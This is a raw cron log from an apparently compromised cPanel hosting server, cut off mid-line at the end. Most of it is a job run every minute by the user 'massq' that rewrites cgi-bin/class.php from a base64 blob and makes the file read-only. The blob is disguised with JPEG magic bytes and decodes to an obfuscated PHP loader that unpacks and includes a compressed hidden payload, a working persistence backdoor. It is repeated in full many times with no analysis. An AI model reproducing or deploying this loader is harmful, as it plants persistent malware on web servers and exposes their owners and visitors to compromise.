Aug 30 11:05:01 server CROND[21777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:05:01 server CROND[21779]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 11:05:01 server CROND[21781]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 11:05:01 server CROND[21783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:05:01 server CROND[21787]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:05:01 server CROND[21784]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:05:01 server CROND[21782]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:06:01 server CROND[22700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:06:01 server CROND[22702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:06:01 server CROND[22703]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:07:01 server CROND[23351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:07:01 server CROND[23352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:07:01 server CROND[23353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:08:01 server CROND[23755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:08:01 server CROND[23756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:08:01 server CROND[23757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:09:01 server CROND[24145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:09:01 server CROND[24147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:09:01 server CROND[24148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:09:01 server CROND[24146]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 11:10:01 server CROND[24545]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 11:10:01 server CROND[24554]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:10:01 server CROND[24555]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 11:10:01 server CROND[24556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:10:01 server CROND[24557]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 11:10:01 server CROND[24559]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:10:01 server CROND[24560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:10:01 server CROND[24563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:11:01 server CROND[25412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:11:01 server CROND[25413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:11:01 server CROND[25414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:12:01 server CROND[25892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:12:01 server CROND[25893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:12:01 server CROND[25895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:12:01 server CROND[25894]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 11:13:01 server CROND[26283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:13:01 server CROND[26284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:13:01 server CROND[26285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:14:01 server CROND[26680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:14:01 server CROND[26681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:14:01 server CROND[26682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:15:01 server CROND[27135]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 11:15:01 server CROND[27139]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 11:15:01 server CROND[27146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 11:15:01 server CROND[27147]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 11:15:01 server CROND[27150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:15:01 server CROND[27148]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 11:15:01 server CROND[27149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:15:01 server CROND[27151]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 11:16:01 server CROND[28032]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 11:16:01 server CROND[28033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 11:16:01 server CROND[28034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0ht